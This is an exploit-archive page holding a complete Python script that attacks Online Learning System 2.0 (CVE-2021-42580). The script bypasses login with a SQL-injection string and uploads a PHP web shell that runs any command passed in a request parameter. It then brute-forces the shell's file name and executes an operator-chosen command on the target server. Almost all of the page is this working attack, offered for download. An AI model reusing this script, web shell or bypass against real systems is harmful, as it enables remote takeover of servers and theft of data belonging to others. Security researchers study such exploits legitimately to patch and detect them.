what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Online Learning System 2.0 Remote Code Execution

Online Learning System 2.0 Remote Code Execution
Posted Nov 16, 2021
Authored by djebbaranon

Online Learning System version 2.0 remote code execution exploit that leverages SQL injection, authentication bypass, and file upload vulnerabilities.

tags | exploit, remote, vulnerability, code execution, sql injection, file upload
advisories | CVE-2021-42580
SHA-256 | e13c0631f420057004b808a4af6435c2db1224089738b4762896aa208c6c4df8

Online Learning System 2.0 Remote Code Execution

Change Mirror Download
# Exploit Title: Online Learning System 2.0 - Remote Code Execution (RCE)
# Date: 15/11/2021
# Exploit Author: djebbaranon
# Vendor Homepage: https://github.com/oretnom23
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/elearning_v2_0.zip
# Version: 2.0
# Tested on: Kali linux / Windows 10
# CVE : CVE-2021-42580

#!/usr/bin/python3
import os
import time
import argparse
import requests
import sys
from colorama import init
from colorama import Fore
from colorama import Back
from colorama import Style
init(autoreset=True)
def banner():
print('''

_____ _ _ _ _ _____ ______ _____ _____
| _ | | (_) | | (_) / __ \ | ___ / __ | ___|
| | | |_ __ | |_ _ __ ___ | | ___ __ _ _ __ _ __ _ _ __ __ _ __ _`' / /' | |_/ | / \| |__
| | | | '_ \| | | '_ \ / _ \ | |/ _ \/ _` | '__| '_ \| | '_ \ / _` | \ \ / / / / | /| | | __|
\ \_/ | | | | | | | | | __/ | | __| (_| | | | | | | | | | | (_| | \ V /./ /___ | |\ \| \__/| |___
\___/|_| |_|_|_|_| |_|\___| |_|\___|\__,_|_| |_| |_|_|_| |_|\__, | \_/ \_____/ \_| \_|\____\____/
__/ |
|___/
Written by djebbaranon
twitter : @dj3bb4ran0n1
zone-h : http://zone-h.org/archive/notifier=djebbaranon
''')
banner()
def my_args():
parser = argparse.ArgumentParser(epilog="Example : python3 -u http://localhost/elearning -r 1000 -c whoami")
parser.add_argument("-u","--url",type=str,required=True,help="url of target")
parser.add_argument("-r","--range",type=int,required=True,help="range for bruteforce the webshell name")
parser.add_argument("-c","--command",type=str,required=True,help="command to execute")
my_arguments = parser.parse_args()
return my_arguments
def login_with_sqli_login_bypass(user,passw):
global session
global url
global cookies
url = my_args().url
session = requests.Session()
data = {
"username" : user,
"password" : passw,
}
try:
response = session.post(url + "/classes/Login.php?f=login",data=data,verify=False)
print( Fore.GREEN + "[+] Logged in succsusfully")
cookies = response.cookies.get_dict()
print("[+] your cookie : ")
except requests.HTTPError as exception:
print(Fore.RED + "[-] HTTP Error : {}".format(exception))
sys.exit(1)
login_with_sqli_login_bypass("' or 1=1 -- -","' or 1=1 -- -")
def main(shell_name,renamed_shell):
try:
payload ={
"id" : "",
"faculty_id" : "test",
"firstname" : "test",
"lastname" : "test",
"middlename" : "fsdfsd",
"dob" : "2021-10-29",
"gender": "Male",
"department_id" : "1",
"email" : "zebi@gmail.com",
"contact" : "zebii",
"address" : "zebii",
}
files = {
"img" :
(
shell_name,
"<?php echo \"<pre><h1>nikmok</h1>\" . shell_exec($_REQUEST['cmd']) . \"</pre>\"?>",
"application/octet-stream",
)
}
vunlerable_file = "/classes/Master.php?f=save_faculty"
print("[*] Trying to upload webshell ....")
response_2 = session.post(url + vunlerable_file,data=payload,cookies=cookies,files=files)
print("[+] trying to bruteforce the webshell ....")
rangee = my_args().range
for i in range(0,rangee):
try:
with requests.get(url + "/uploads/Favatar_" + str(i) + ".php?cmd=whoami",allow_redirects=False) as response3:
if "nikmok" in response3.text and response3.status_code == 200:
print("\n" + Fore.GREEN + "[+] shell found : " + response3.url +"\n")
break
with open("shell.txt",mode="w+") as writer:
writer.write(response3.url)
else:
print( Fore.RED + "[-] shell not found : " + response3.url)
except requests.HTTPError as exception2:
print("[-] HTTP Error : {0} ".format(exception2))
except requests.HTTPError as error:
print("[-] HTTP Error : ".format(error))
command = my_args().command
with requests.get(response3.url.replace("whoami",command)) as response4:
print("[*] Executing {} ....".format(command))
time.sleep(3)
print("\n" + Style.BRIGHT + Fore.GREEN + response4.text)
main("hackerman.php","")

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close